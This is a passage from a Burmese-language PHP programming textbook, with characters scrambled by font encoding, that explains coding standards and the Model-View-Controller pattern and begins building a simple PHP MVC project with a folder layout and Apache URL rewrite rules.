Language အတက်ွြ ရေှိိ နတဲ့ Standard ိတကုိွြရောှိဖေွိ လ့လာပပးီ လုိက်ြနာိရေးသားအကြရေမာှပဖေစ်ပါတယ်။

JavaScript  အတက်ွြ  Coding Standard  ကုိြ  http://javascript.crockford.com/code.html မာှ  ိလလ့ာနိုငပ်ါ
တယ်။ PHP အတက်ွြ http://pear.php.net/manual/en/standards.php မာှ ိလလ့ာနိုငပ်ါတယ်။

၄.) ကြျွန်ိ တာတ်ို့ိ ရေှ့ပိုငး်မာှလပုခ်ဲ့တဲ့နမနူာ   Project  ိတမွာှ  Code  ိတ ွ စုစညး်ိရေးသားပုံမတခူဲ့ပါဘူး။  Online
Book  Store  တည်ိ ဆာက်ြစဉက်ြ  cat-add.php,  book-add.php,  cat-new.php,  book-

http://pear.php.net/manual/en/standards.php
http://javascript.crockford.com/code.html
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new.php, cat-update.php, book-update.php စသပဖေင့်  လပု်ိ ဆာငခ်ျက်ြတစ်ခု  File  တစ်ခနုှုနး်နဲ့
Script  File  ိတ ွ အများကကီြးအသံုးပပုခဲ့ပါတယ်။  Ajax  Todo  List  မာှိတာ့  လပု်ိ ဆာငခ်ျက်ြများအားလုံးကုိြ
api.php တစ်ခတုညး် မာှ စုစညး်ိရေးသားခဲ့ပါတယ်။

Code File  ိတ ွမစွာကကဲြိနိအာငမ်ျားလနွး်တာ မိကြာငး်သလို၊ အားလုံးစုပပုံိရေးသားပခငး်ဟာလညး် မိကြာငး်ပါ
ဘးူ။ နစ်ှမျို းလုံးကြ Maintainable  မပဖေစ်ပါဘူး။  Code  ိတကုိွြ လပု်ိ ဆာငခ်ျက်ြမတတူဲ့ကြဏများကိြု ခွဲပခားထားပပးီ
တရူောိတကုိွြ ိတာ့  စုစညး်ထားရေှိသင့်ပါတယ်။ ဒလီိုစုစညး်ရောမာှ  အသံုးပပုနိုငတ်ဲ့  Pattern  ိတအွမျို းမျို းရေှိပါတယ်။
ကြျွန်ိ တာတ်ို့ ဆက်ြလက်ြိလလ့ာမယ့် M-V-C ဟာလညး် Code ိတကုိွြ လုပ်ိ ဆာငခ်ျက်ြအလိုက်ြ ခွဲပခားစုစညး်ထား
နိုငတ်ဲ့  Pattern တစ်ခပုဖေစ်ပါတယ်။ အပခားထငရ်ောှးတဲ့ နညး်လမး်တစ်ခကုြိတာ့ Three-Tier Architecture လိုိ့ ခါ်
တဲ့ နညး်လမး်ပဖေစ် ပါတယ်။  Presentation-abstraction-control (PAC) လိုိ့ ခါ်တဲ့ နညး်လမး်တစ်မျို းလညး်ရေှိပါ
ိသးတယ်။ 

ဒလီိုနညး်လမး်ိတကုိွြ  ိရေးွချယ်အသံုးပပု၍ပပဲဖေစ်ပဖေစ်  ကုိြယ်နညး်ကုိြယ့်ဟနန်ဲပ့ပဲဖေစ်ပဖေစ်  လပု်ိ ဆာငခ်ျက်ြတရူောတရူောကုိြ
မနှက်ြန် ိအာင် စုစညး်သင့်တာစုစညး် ခွဲပခားသင့်တာခွဲပခားထားမသှာ  Code Maintain  လပုရ်ေတာ အဆင်ိ ပပမာှပဲ
ပဖေစ်ပါတယ်။

11.1 - M-V-C (Model-View-Controller)
MVC  လို့  အတိုိ ကြာက်ြိခါ်အကြတဲ့  Model-View-Controller  ဟာ  App Project  မာှပါဝငတ်ဲ့  Code  ိတ ွကုိြ
လပု်ိ ဆာငခ်ျက်ြ  ကြဏအလိုက်ြ  ခွဲပခားစုစညး်ရောမာှအသံုးပပုတဲ့  Pattern  တစ်ခပုဖေစ်ပါတယ်။  MVC  Pattern  ကြ
Code ိတ ွကုိြ Model, View နဲ့ Controller ဆုိပပီး အုပစု်သံုးစု ခွဲပခားစုစညး်ဖေိုအ့အကံြပပုထားပါတယ်။ အအကံြပပုတယ်
လို့  သံုးရေပခင်းကြ  MVC  ဟာ သိဘာတရေားတစ်ခသုာပဖေစ်လို့၊  သတမ်တှခ်ျက်ြအတိုငး်  တိတကိြျကြျလိုက်ြနာပခငး်  မ
လိုက်ြနာပခငး်ကြ ကြျွန်ိ တာ် တိုိ့ ရေးသားသူအိပါ် မတူည်ိ နတဲ့အတက်ွြ ပဖေစ်ပါတယ်။ တစ်ချို ့လညး် တည်ိ ဆာက်ြိန
တဲ့ Software ရေဲ့သဘာဝလိုအပခ်ျက်ြအရေ မလူ MVC သတမ်တှခ်ျက်ြများကုိြ သင့်ိ တာသ်လိုပပုပပငပ်ပးီမှ အသံုးချအကြ
တာိတလွညး်ရေှိပါတယ်။

MVC ဟာ ၁၉၇၀ ကြာလများကြတညး်ကြ Smalltalk Programming Language နဲ့အတူ စတငအ်သံုးပပုလာခဲ့တဲ့
Pattern  တစ်ခု ပဖေစ်ပါတယ်။  General Purpose Pattern  တစ်ခပုဖေစ်ပပးီ  Software  အမျို းအစား အားလုံးအတက်ွြ
အသံုးပပုနိုငပ်ါတယ်။ ဒါိပမယ့် Web App Development အတက်ွြ ပိုပပးီအသုံးများပါတယ်။

Ruby on Rails လ့ုိိခါ်တဲ့ Ruby Programming Language အိပခပပု  Web App Framework ကြ MVC ရေဲ့
အားသာချက်ြိတကုိွြထိိရောက်ြိအာင် အသံုးချပပခဲ့ရောကြစပပးီ Web Development အတက်ွြ အဓကိြ Pattern တစ်ခု
ပဖေစ် လာခဲ့ပခငး်ပဖေစ်တယ်လို့ ဆုိနိုငပ်ါတယ်။ ဒအီဆုိကုိြ အတအိကြျိထာက်ြခတံဲ့အချက်ြအလက်ြ ရောှိဖေွိ တွ့ရေှိပခငး်မရေှိိ ပ
မယ့်  Rails  ထွက်ြိပါ်လာပပးီိနာက်ြပိုငး်မသှာ သူကိ့ြအုတယူုပပီး  MVC Web App Framework  ိတ ွတစ်ခပုပးီ
တစ်ခု  ထက်ွြိပါ်လာပခငး်ပဖေစ်ပါတယ်။  ဒါအပပင်  Rails  မတိုငခ်ငက်ြတညး်ကြရေှိိ နတဲ့  Framework  ိတကွြလညး်
Rails ထွက်ြိပါ် လာပပးီိနာက်ြပိုငး်မှ MVC Pattern ကုိြ ပဖေည့်စွက်ြထည့် သွငး်ိပးလာအကြပါတယ်။
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11.2 - MVC Workflow
MVC ရေဲ့အဓကိြရေညရ်ေွယ်ချက်ြကြ Model  နဲ့  View ကုိြ ခွဲပခာထားလိုပခငး်ပဖေစ်ပါတယ်။  App ရေဲ့  Domain Logic နဲ့
အဓကိြလပု်ိ ဆာငခ်ျက်ြိတကုိွြ  Model အိနနဲ့စုစညး်ိရေးသားထားရေမာှ  ပဖေစ်ပါတယ်။  Model  ဟာ  App  ရေဲ့
ဦးိနာှက်ြလို့လညး်  ဆုိနိုငပ်ါတယ်။  ိပးလာတဲ့  Input  တနဖ်ေိုးကုိြ  လက်ြခပံပးီိဆာငရ်ေက်ွြရေနရ်ေှိတဲ့  လုပင်နး်ိတကုိွြ
Model  ကြ ိဆာငရ်ေက်ွြပါတယ်။ ပပးီရေင်  ရေရေှိလာတဲ့ ရေလဒကုိ်ြပပနထ်တု်ိ ပးနိုငပ်ါတယ်။ ဒါိပမယ့် အဲဒရီေလဒမ်ျားကုိြ
ဘယ်လိုပုံစံ၊ ဘယ်လိုအပပငအ်ဆငမ်ျို းနဲ့ ိဖောပ်ပရေမလဆုိဲတဲ့ကိြစ္စကိြု  Model  ကြ ိဆာငရ်ေက်ွြမိပးပါဘးူ။ ဒါကြ View
ရေဲ့အလပုပ်ဖေစ်ပါ တယ်။

View ကြိတာ့ Model နဲ့ဆန့်ကြျငဘ်က်ြပဖေစ်ပါတယ်။ လုပင်နး်ပိုင်းကုိြစိတမ်ဝငစ်ားပဲ ိပးလာတဲ့အချက်ြအလက်ြ များ
ကုိြသံုး  ပပးီ  သတမ်တှထ်ားတဲ့  Presentation  ပုံစံနဲ့  ိဖောပ်ပိပးတဲ့အလပုကုိ်ြသာ ိဆာငရ်ေက်ွြိပးမာှပဖေစ်ပါတယ်။   ဒီ
ိတာ ့တစ်ကြယ့် Logic ကြ Model ထမဲာှရေှိိ နပပးီ ိဖောပ်ပရေမယ့် Presentation ပိုငး်ကိြစ္စ တကွြ View ထဲမာှ သီးပခား
ရေှိိ နိစမာှ ပဖေစ်ပါ တယ်။ Decouple လုပလ်ိုက်ြပခငး်တစ်မျို းပဖေစ်ပါတယ်။ ဒလီိုမျို း Model နဲ့ View တို့ကြ သူ့ အလပု်
ကုိြသူ  သီးပခားစီိဆာင်  ရေက်ွြိနတဲ့အခါ  Maintenance  အတက်ွြအဆင်ိ ပပသွားိစမာှပဖေစ်ပါတယ်။  ိဖောပ်ပပုံ  အပပင်
အဆငပ်ိုငး်သက်ြသက်ြပပုပပင် လိုရေင် View ကုိြ ပပငန်ိုငပ်ါတယ်။ ဒလီိုပပငလ်ိုက်ြလို့ Logic ပိုငး်ကုိြထခိိုက်ြသွားမာှပစူရော
မလိို တာပ့ါဘးူ။ အလားတပူဲ  Logic ပိုငး် အလပုလ်ပုပ်ုံကုိြ ပပုပပငလ်ိုတာဆုိရေင်  Model ကုိြပပငန်ိုငပ်ါတယ်။ ိဖောပ်ပပုံ
Presentation ကုိြထခိိုက်ြမာှ ပစူရောမလို ိတာပ့ါဘးူ။

Maintenance  တငမ်ကြပါဘးူ။  Code ိရေးသားပုံအိတးွအိခါ်ပိုင်းကုိြပါသက်ြိရောက်ြိစတဲ့ နညး်လမး်တစ်ခလုညး်
ပဖေစ်ပါ တယ်။ အခုိ နာက်ြပိုငး်မာှ Software ိတတွည်ိ ဆာက်ြတဲ့အခါ "Design First Approach" လ့ုိိခါ်တဲ့ User
Interface  (View)  ကုိြ  အရေငတ်ည်ိ ဆာက်ြတဲ့နညး်လမး်  ိခတစ်ားပါတယ်။  အထးူသပဖေင့်  နညး်ပညာသစ်များ
တထီငွရ်ောမာှပိုအသံုး များပါတယ်။ ိရေးသားိနအကြ ရေှိဖေးူပပးီသား  Software  ိတမွာှ ဘယ်လိုလပု်ိ ဆာငခ်ျက်ြိတပွါ
ဝငဖ်ေို့လိုသလဆုိဲတာ  အတိ  အကြျသိရေှိနိုငပ်ါတယ်။  အရေငက်ြ  မရေှိဖေးူိသးတဲ့နညး်ပညာသစ်အိနနဲ့တထီငွရ်ေတဲ့
Software ိတမွာှိတာ့ အ့ဲဒလီို Requirement အတအိကြျရေှိချငမ်ရှေှိပါမယ်။ တထီငွဖ်ေနတ်းီသူရေဲ့ စိတကူ်ြးအပမငက်ြိုသာ
အိပခခတံာပဖေစ်လို ့တစ်ကြယ်အလပု ်ပဖေစ်မပဖေစ်၊ လက်ြိတွ့အသံုးဝငမ်ဝငက်ြ ပုံိ သမိပပာနိုငပ်ါဘူး။

အ့ဲဒလီိုအခါမျို းမာှ အဓကိြလပု်ိ ဆာငခ်ျက်ြပဖေစ်တဲ့ Logic (Model) ပိုငး်ကုိြိနာက်ြမှ (တနညး်အားပဖေင့်ိ သချာိတာမ့)ှ
ိရေးသားဖေို့ရေညရ်ေယွပ်ပးီ၊ လက်ြိတွ့အသံုးပပုသူများ ချက်ြပခငး်အိကြာင်အထညပ်မငရ်ေမယ့် User Interface ပိုငး်ကြို အ
ရေင် တည်ိ ဆာက်ြပခငး် ပဖေစ်ပါတယ်။  User Interface  တည်ိ ဆာက်ြရေတာ Logic  အိသးစတိထ်က်ြ ပိုပမနမ်ာှပါ။ ဒီ
နညး်ကုိြ  Prototype  တည်ိ ဆာက်ြတယ်တယ်လို့  ိခါ်ပါတယ်။  စမး်သံုးလိုရေနိုငမ်ယ့်  Interface  ကုိြ  အရေငတ်ည်
ိဆာက်ြလိုက်ြပခငး်  ပဖေစ်ပါတယ်။  ရေရေှိလာတဲ့  Interface  ကုိြ  တစ်ကြယ်သံုးမယ့်သူကြ  စမး်သပ်အသံုးပပုနိုင်ိ တာမ့ှ
Feedback  အစစ်အမနှကုိ်ြ ရေရေှိပပးီ လက်ြိတွ့ကြျမကြျ၊ အလပုပ်ဖေစ်နိုင်  မပဖေစ်နိုငကုိ်ြသိရေမာှပါ။ အလပုမ်ပဖေစ်လို့ပပုပပငရ်ေ
ိတာမ့ယ်ဆုိရေငလ်ညး်  Logic ကုိြပပုပပငရ်ေပခငး်ထက်ြစာရေင် User Interface ကုိြ ပပငရ်ေတာပိုလယ်ွမာှပါ။ 

ဒလီိုမဟတုပ်၊ဲ အလပုပ်ဖေစ်မပဖေစ်မိသချာခင် ကုိြယ့်စိတကူ်ြးသက်ြသက်ြကုိြ ဟတုလ်ပှပထီငပ်ပးီ  Logic  ိကြာ  Interface
ပါ အားလုံး ပပည့်စံုိအာငအ်ချနိ်ိ တအွများကကီြးိပးပပးီလပုမ်ယ်ဆိရုေင၊် လက်ြိတွ့အသံုးပပုသူလက်ြထဲိ ရောက်ြလို့အလပု်
မပဖေစ်တာ ကုိြိတွ့ရေရေင် Software တစ်ခလုုံးကုိြ အစအဆုံးပပနပ်ပငရ်ေပါိတာမ့ယ်။ "Design First Approach" ကြ ဒီ
လို ပပဿနာ မျို းကုိြ ိလျှာခ့ျိပးနိုငပ်ါတယ်။ 
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ဒီိ နရောမာှ Logic နဲ့ Presentation သာိရောိနမယ်ဆုိရေင် Logic ကုိြ ငဲ့ိ နရောတဲ့ Presentation ကုိြ "Design First
Approach" ပုံစံနဲ့ လပွလ်ပွလ်ပလ်ပပ်မနပ်မနဆ်နဆ်န် တည်ိ ဆာက်ြနိုငမ်ာှမဟတုပ်ါဘးူ။  MVC ကြိတာ့  Logic နဲ့
Presentation  ကုိြ  ခွဲပခား  ိပးထားတဲ့အတက်ွြ  Presentation  ကုိြ  လပွလ်ပွလ်ပလ်ပတ်ည်ိ ဆာက်ြနိုင်ိ စမာှပါ။
ိပပာငး်ပပန် အိနနဲ့ လိုအပလ်ို့  Logic  ပိုငး်ကုိြ အရေင်ိ ရေးပပးီ ိနာက်ြိတာမ့ှ  UI  အိသးစိတ်ိ ရေးမယ်ဆုိလညး်ိရေးနိုင်
တာပါပ။ဲ ဒနီညး်နဲ့  Software Project ိတကုိွြ အပိုငး်လိုက်ြ ခွဲပခားိဆာငရ်ေက်ွြပခငး် အိလ့အကြျင့်ိ ကြာငး်ကုိြ MVC
ကြ အားိပးထား ပါတယ်။

တထီငွဖ်ေနတ်းီမှုအသားိပးတဲ့  Software  Team  ိတအွအကြားိရေးပနး်စားတဲ့  Agile  Development  လိုိ့ ခါ်တဲ့
Project Management  နညး်စနစ်မာှ  "Ship Early, Ship Often"  ဆုိတဲ့ လမး်ညနွခ်ျက်ြတစ်ခရုေှိိ နပါတယ်။ သူ
လညး် Design First လုိပါပ၊ဲ "ပမနပ်မန်ိ ရေး၊ လွှတလ်ို့ရေသိလာက်ြ အရေငလ်ွှတ်" ဆုိတဲ့သိဘာပါ။ ဒီိ တာမ့ှ တစ်ကြယ့်
အသံုးပပုသူဆီကြ Feedback အမနှကုိ်ြပမနပ်မနရ်ေပပီး ကြျွန်ိ တာတ်ို့ရေဲ့ဖေနတ်းီမှုဟာ အသံုးပပုသူရေဲ့တစ်ကြယ့် လိုအပခ်ျက်ြ
နဲ့ကိြက်ုြညပီခငး်ရေှိမရေှိကုိြ  ပမနပ်မနသိ်ရေမာှပဖေစ်ပါတယ်။ လုိအပခ်ျက်ြနဲမ့ကုိြက်ြညလီို့  အမာှးပပငရ်ေတာပပဲဖေစ်ပဖေစ်၊  ကုိြက်ြညလီို့
အိသးစတိကုိ်ြ ဆက်ြလက်ြပဖေည့် စွက်ြရေတာပပဲဖေစ်ပဖေစ်၊ MVC ကြိပးထားတဲ့ Maintainability အားသာ ချက်ြိအကြာင့်
ပပငဆ်ငပ်ဖေည့်စွကြရ်ေမာှကုိြ ိအကြာက်ြိန စရောမလိို တာပ့ါဘးူ။

ပုံမနှဆိ်ရုေင် Software Developer ိတကွြ တစ်ခခုပုပငဖ်ေိုဆုိ့ ိအကြာက်ြိနရေတာပါ။ ခက်ြခက်ြခခဲလဲညး်ရောှိဖေပွပငဆ်ငရ်ေ
ိသးတယ်၊ တစ်ခပုပငလ်ိုက်ြမှ မဆုိငဘ်းူလို့ထငရ်ေတဲ့ိ နာက်ြတစ်ခကုြပျက်ြသွားတာမျို းကုိြ အိတွ့အအကြုံရေှိတဲ့ Software
Developer တိုငး် အကြုံဖေးူတက်ြအကြပါတယ်။ ဒါိအကြာင့် ပပငရ်ေမာှကုိြ ိအကြာက်ြတက်ြအကြပါတယ်။ MVC ကြ Software
Developer ိတကုိွြ တစ်ခခုပုပငရ်ေမာှကုိြ ိအကြာက်ြိနဖေို့မလိုိ တာတ့ဲ့ ယံုအကြညမ်ှုမျို းကုိြလညး်ိပးနိုငပ်ါိသးတယ်။

မတ်ှချကြ် ။ ။ ဒီိ နရောမာှ  Agile Development  အိအကြာငး်ကြို အိသးစတ်ိမိဖောပ်ပနိုငပ်ါဘးူ။  Rockstar Developer မာှိတာ့
Agile  နညး်စနစမ်ျားပဖေစတ့ဲ်  Iterative  Development,  SCRUM,  Pair  Programming,  Continues  Integration  စတ့ဲ
နညး်စနစမ်ျား အိအကြာငး်ကြို ိဖောပ်ပထားပါတယ။်

အဓကိြလိုရေငး်ကြ View နဲ့ Model ကုိြခွဲပခားလိုပခငး်ပဖေစ်ိပမယ့် လက်ြိတွ့မာှဒနီစ်ှခကုြို ိပါငး်ကူြးဆက်ြစပ်ိ ပးနိုငမ်ယ့်
အစိတ်အပိုငး်တစ်ခု  လိုအပလ်ာပါတယ်။ ဒတီာဝနကုိ်ြ  Controller ကြ ယူိပးပါတယ်။  Controller  ကြ အကြားပွဲစား
ဆုိအကြ ပါစုိ။့ သူကုိြယ်တိုငက်ြ တစ်ကြယ့်လပု်ိ ဆာငခ်ျက်ြိတ ွဘာမမှလပု်ိ ပမယ့် အသံုးပပုသူနဲတ့ိုက်ြရုိက်ြဆက်ြဆံရေတာ
ကြ  Controller  ပဖေစ်ပါတယ်။ အသံုးပပုသူ ပပုလပုတ်ဲ့  Action  ကုိြအကြည့်ပပးီိတာ့  လိုအပတ်ဲ့လပု်ိ ဆာငခ်ျက်ြိတကုိွြ
Model ကုိြ ိဆာင် ရေက်ွြိစပါတယ်။ Model ပပန်ိ ပးလာတဲ့ ရေလဒကုိ်ြ၊ View ထံ လက်ြဆင့်ကြမး်ိပးပို့ပပးီ သင့်ိ တာ်
တဲ့ ိဖောပ်ပမှုပုံစံနဲ ့ိဖောပ်ပ ိပးဖေို့ ိတာငး်ဆုိိပးပါတယ်။ View ကြပပနလ်ည ်ိပးပိုလ့ာတဲ့ အပပးီသတပ်ပင် ဆငပ်ပးီရေလဒ်
ကုိြ အသံုးပပုသူထ ံပပန်ိ ပးနိုင် ပါတယ်။

တနညး်ိပပာရေရေင် Controller ကြ Input များကုိြလက်ြခစီံမပံပးီ Output များပပနလ်ည်ိ ပးပို့ပခင်းအပိုင်းကုိြ  Model နဲ့
View  အကြားထကဲြိနဝငပ်ပးီ  ိဆာငရ်ေက်ွြိပးသွားတဲ့သိဘာပဖေစ်ပါတယ်။  Web  App  ိတမွာှိတာ့  Input  ဆုိတာ
Request  များပဖေစ်ပပီး၊  Output  ဆုိတာ  Respond  များပပဲဖေစ်ပါတယ်။ ဒီိ တာ့  Web App  ိတမွာှ  Controller  ကြ
Request နဲ့ Respond စီမပံခငး်ကြဏကုိြတာဝနယူ်သူပဖေစ်တယ်လို့ ဆုိနိုငပ်ါတယ်။
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ထးူပခားချက်ြအိနနဲ့တစ်ခါတစ်ရေံ View ကြ Model ထတံိုက်ြရုိက်ြဆက်ြသွယ်ပပီး ပဖေည့်စွက်ြဖေို့လိုအပတ်ဲ့ အချက်ြအလက်ြ
တစ်ချို ့  တိုက်ြရုိက်ြိတာငး်ဆုိနိုငပ်ါတယ်။  သူ့အလပုသူ်လပု်ိ နစဉ်  ပဖေည့်စွက်ြလိုအပတ်ဲ့  အချက်ြအလက်ြများရေှိ  လာတဲ့
အခါ  View ကြ (Input/Output စီမစံရောမလိုလို့) Controller နဲ့ ဆက်ြသွယ်မိနိတာပ့ဲ Model ထံတိုက်ြ ရုိက်ြဆက်ြ
သွယ်တဲ့ သိဘာပဖေစ်ပါတယ်။ 

MVC ဟာ နညး်စနစတ်စ်ခမုျှသာပဖေစ်ပါတယ။် အတအိကြျလိုက်ြနာလိုကြ လိုက်ြနာနိုငပ်ပီး မလိုက်ြနာလိုရေင် မလိုက်ြနာ
ပလဲညး် ိနနိုငပ်ါတယ်။ ဒါိပမယ့် သူရ့ေဲ့အားသာချက်ြကုိြ အပပည့်အဝရေရေှိဖေိုဆုိ့ရေင် Model, View နဲ့ Controller တို့ရေဲ့
သက်ြဆိငုရ်ော တာဝန်ိ တကုိွြ မနှက်ြန်ိ အာင် သတမ်တှဖ်ေို့လိုအပပ်ါတယ်။ View ထမဲာှ Logic နဲ့ပတသ်က်ြတဲ့  Code
ိတွိ ရေးထားရေင်  Program  ကြိတာ့  အလပုလ်ပု်ိ နမာှပါပ။ဲ  အလားတပူဲ  Controller  ထမဲာှ  Logic  ိတ ွ ိရော
ိရေးထားမယ်၊ Model ထဲမာှ ိဖောပ်ပရေမယ့်ပုံစံကုိြ သတမ်တှထ်ားမမိယ်ဆိရုေငလ်ညး် Program ကြ အလပုလ်ပု်ိ နမာှပါ
ပ။ဲ ဒါိပမယ့် ကြျွန်ိ တာတ်ို့ရေဲ့  Logic နဲ့ Presentation ကုိြခွဲထားလိုပခငး် ရေညရ်ေယ်ွချက်ြကုိြ ထိခိုက်ြိနပါပပ။ီ MVC လ့ုိ
ိပပာိနိပမယ့်  MVC  ရေဲ့  Pattern  ပျက်ြိနလို့  ထိိ ရောက်ြသင့်သိလာက်ြ  ထိိရောက်ြမာှမဟတု်ိ တာပ့ါဘးူ။
Maintainable  ပဖေစ်မာှမဟတု်ိ တာပ့ါဘးူ။  ဒါိအကြာင့်  Model,  View,  Controller  တစ်ခခုျငး်ရေဲ့  ရေညရ်ေယ်ွချက်ြနဲ့
တာဝနမ်ျားကုိြ ကဲွြကဲွြပပားပပား နားလညထ်ားပပးီ Code ိတကုိွြ သူ့ိ နရောနဲ့သူ မနှက်ြန်ိ အာငစု်စညး်ိရေးသားဖေို့ လိုအပ်
ပါတယ်။  MVC လို့ ိပပာလိုက်ြယံုသက်ြသက်ြနဲ့ ကြျွန်ိ တာတ်ို့  App ကြ Maintainable  ပဖေစ်သွားမာှ မဟတုပ်ါဘးူ။
ကြျွန်ိ တာတ်ို့ရေဲ့  အသံုးပပုပုံကြလညး် မနှက်ြနမ်ာှသာ  Maintainable  ပဖေစ်မာှပဖေစ်ပါတယ်။  MVC  ရေဲ့  အိပခခအံလပု်
လပုပ်ုံကုိြ ပိုမိုပမငသ်ာိအာင ် ပုံ (၁၁-ကြ) မာှလညး်ိဖောပ်ပိပးထားပါတယ်။

ပုံ (၁၁-ကြ) M-V-C Workflow
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ပုံမာှ  Order  List  ိဖောပ်ပပခငး်လပုင်နး်စဉကုိ်ြ  ဥပမာအိနနဲ့ိ ဖောပ်ပထားပါတယ်။  Order  List  ရေယူလိုိ အကြာငး်
Request  ဝင်ိ ရောက်ြလာတဲ့အခါ  Controller  ကြလက်ြခပံပီး  Model  ထံကြိန အမာှစာစာရေငး်ကုိြိတာငး်ယူပါတယ်။
ရေရေှိလာတဲ့  Order List  ကုိြ  View ထံ လက်ြဆင့်ကြမး်ိပးလိုက်ြပါတယ်။  View ကြ Format  လုပထ်ားတဲ့  Layout
တစ်ခအုိနနဲ့  Order List  ကုိြ  ပပနလ်ည်ိ ပးပိုိ့ တာမ့ှ  အ့ဲဒီ   Format  လုပထ်ားပပးီရေလဒကုိ်ြ  Respond  အိနနဲ့ပပန်
လည်ိ ပးပိုလ့ိုက်ြပခငး်ပဖေစ်ပါတယ်။

11.3 - Building MVC Pattern
Zend Framework,  Laravel  အစရေှိတဲ့  PHP MVC Framework  တစ်ခခုကုိုြ  အသံုးပပုလိုက်ြရေင်  သက်ြဆုိငရ်ော
Framework ကြ သတမ်တှထ်ားတဲ့ိ ရေးထုံးများအတိုငး် MVC ပုံစံနဲ့ PHP App များကုိြ ိရေးသားနိုငမ်ာှပဖေစ်ပါတယ်။
အခန်း  (၅) မာှ  ိဖောပ်ပခဲ့ပပးီပဖေစ်တဲ့အတိုငး်  Framework  ဆုိတာဟာ အသင့အ်သံုးပပုနိုငတ်ဲ့  Utility Library  ိတွ
Widget  Toolkit  ိတကုိွြ  MVC  လုိ  Pattern  မျို းိတနွဲ့  ိပါငး်စပ်ိ ပးထားပခငး်ပဖေစ်ပါတယ်။  ဒါိအကြာင့်
Framework  တစ်ခကုိုြအသံုးပပုိတာ့  မယ်ဆုိရေင်  သက်ြဆုိငရ်ော   Framework  ကြသတမ်တှထ်ားတဲ့  Pattern  နဲ့
ိရေးထုံးများကုိြလညး် ိလ့လာရေိတာမ့ာှပဖေစ်ပါ တယ်။ ိရေးထုံးိတ ွတစ်ခနုဲ့တစ်ခု အတအိကြျတညူမီာှမဟတု်ိ ပမယ့်
MVC ရေဲ့  အိပခခသံဘာဝကြိတာ ့အတတူပူပဲဖေစ်မာှပါ။

ိနာက်ြတစ်ခန်းမာှ Laravel Framework ကုိြ အသံုးပပုပပးီ MVC Code ိတ ွိရေးသားပုံကုိြ ဆက်ြလက်ြိဖောပ်ပိပးပါ
မယ်။ ဒအီခန်းမာှိတာ့  MVC ရေဲ့အလပုလ်ပုပ်ုံ အိပခခကုိံြ ပိုမိုနားလညန်ိုင်ိ စဖေို့ အတက်ွြ  MVC Pattern  တစ်ခကုိုြ
PHP နဲ့ ကုိြယ်တိုင်ိ ရေးသားတည်ိ ဆာက်ြနညး် ိဖောပ်ပိပးပါမယ်။ နမနူာအိနနဲ့ အခန်း(၇) မာှ Online Book Store
တည်ိ ဆာက်ြခဲ့စဉ်ကြ စာအုပအ်မျို းအစားိတ ွသိမး်ဆည်းထားခဲ့တဲ့  categories Table  ထဲကြ Record ိတကုိွြ
ိဖောပ်ပတဲ့ လုပ်ိ ဆာငခ်ျက်ြကုိြ  MVC ပုံစံ ခွဲပခားိရေးသားပါမယ်။  ပထမဆံုးအိနနဲ့  htdocs Folder ထမဲာှ mvc
အမညန်ဲ့  Folder တစ်ခုိ ဆာက်ြိပးပါ။ mvc Folder အတငွး်မာှ ိအာက်ြပါအတိုငး် File နဲ့ Folder ိတထွည့်သွငး်
ိပးပါ -

mvc/
|-- models/
|   |-- category.php
|-- views/
|   |-- category/
|   |   |--list.php
|   |   |--new.php
|-- controllers/
|   |-- category.php
|-- index.php
|-- mvc.php
|-- .htaccess

Code  ိတကုိွြ  လပု်ိ ဆာငခ်ျက်ြအလိုက်ြ  models,  views,  controllers စတဲ့  Folder  များနဲ့  ခွဲပခား
ိရေးသားပပးီ  သိမး်ဆည်းနိုငဖ်ေို့အတက်ွြ  Folder  ိတတွည်ိ ဆာက်ြထားပါတယ်။  Folder  အဆင့်ဆင့်  ပဖေစ်လာတဲ့
အတက်ွြ  သက်ြဆိုငရ်ော  Script  တစ်ခကုိုြရေယူလိုရေင်  URL  ကြသိပရ်ေညှပ်ပးီအဆငမ်ိပပပဖေစ်နိုငပ်ါတယ်။  ဒါိအကြာင့်
Apache  ရေဲ့  URL Rewrite  အကူြအညကုိီြရေယူပပီး  URL Structure  ကုိြ  ပပုပပင်ိ ပးဖေို့လိုအပပ်ါတယ်။  ဒါိအကြာင့်
.htaccess File ထဲမာှ ိပးထားတဲ့ URL Rewrite Rule ိတကုိွြ ထည့်သွငး်ိပးပါ။
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RewriteEngine On 
RewriteBase /mvc/ 

RewriteRule ^(\w+)/(\w+)/(\w+)/?$ mvc.php?controller=$1&action=$2&id=$3 [L,QSA] 
RewriteRule ^(\w+)/(\w+)/?$ mvc.php?controller=$1&action=$2 [L,QSA] 
RewriteRule ^(\w+)/?$ mvc.php?controller=$1 [L,QSA] 
RewriteRule . mvc.php?controller=category [L,QSA]

Rule ိတထွကဲြ ဒတုယိတစ်ခကုိုြ နမနူာထားပပးီ ရေငှး်ပပိပးပါမယ်။

█ RewriteRule ^(\w+)/(\w+)/?$ mvc.php?controller=$1&action=$2

(\w+) ရေဲ့အဓပိ္ပါယ်ကြ  ([a-zA-Z0-9_]+) လိုိ့ ရေးသားလိုက်ြပခငး်နဲတ့ပူါတယ်။  Word  Character  ဆုိတဲ့
အဓပိ္ပါယ် ပါ။  a ကြိန z အထိ စာလုံးအကကီြးိရောအိသးပါ ပါဝငန်ိုငပ်ါတယ်။  0 ကြိန 9 ထိ ကြဏနး်ိတလွညး်
ပါဝငန်ိုငပ်ါတယ်။  Underscore  လညး်ပါဝငန်ိုငပ်ါတယ်။  အိပခခအံားပဖေင့်  English  Word  တစ်ခမုာှပါဝငန်ိုငတ်ဲ့
Character  အားလုံး ပါဝငန်ိုငတ်ယ်ဆုိတဲ့ သိဘာပါ။ အ့ဲဒီ  Word Block  နစ်ှခကုိုြ  Rewrite URL  မာှ ပပနလ်ည်
အသံုး ပပုထားပါတယ်။

ဒါိအကြာင့် - http://localhost/mvc/book/list/ လ့ုိထည့်သွင်းခဲ့ရေင ်ဒ ီRule ကြ URL ကုိြ - 

http://localhost/mvc/mvc.php?controller=book&action=list - လိုိ့ ပပာငး်လဲိ ပးသွားမာှပဖေစ်ပါတယ်။

ကြျွန်ိ တာတ်ို့ရေဲ့  MVC Structure အတက်ွြ controller, action နဲ့  id ဆုိတဲ့ Request Value ိတ ွပါဝင်
လာဖေိုလ့ိုအပပ်ါတယ်။ အသံုးပပုရေမယ့် URL Pattern ကြ http://localhost/mvc/[controller]/[action]/[id] ပဖေစ်ပါ
တယ်။  controller Block  ကြိတာ့  မပါမပဖေစ်ပါ။  ကြျန်  action နဲ့  id ကြိတာ့  မပါရေငလ်ညး်ပဖေစပ်ါတယ်။
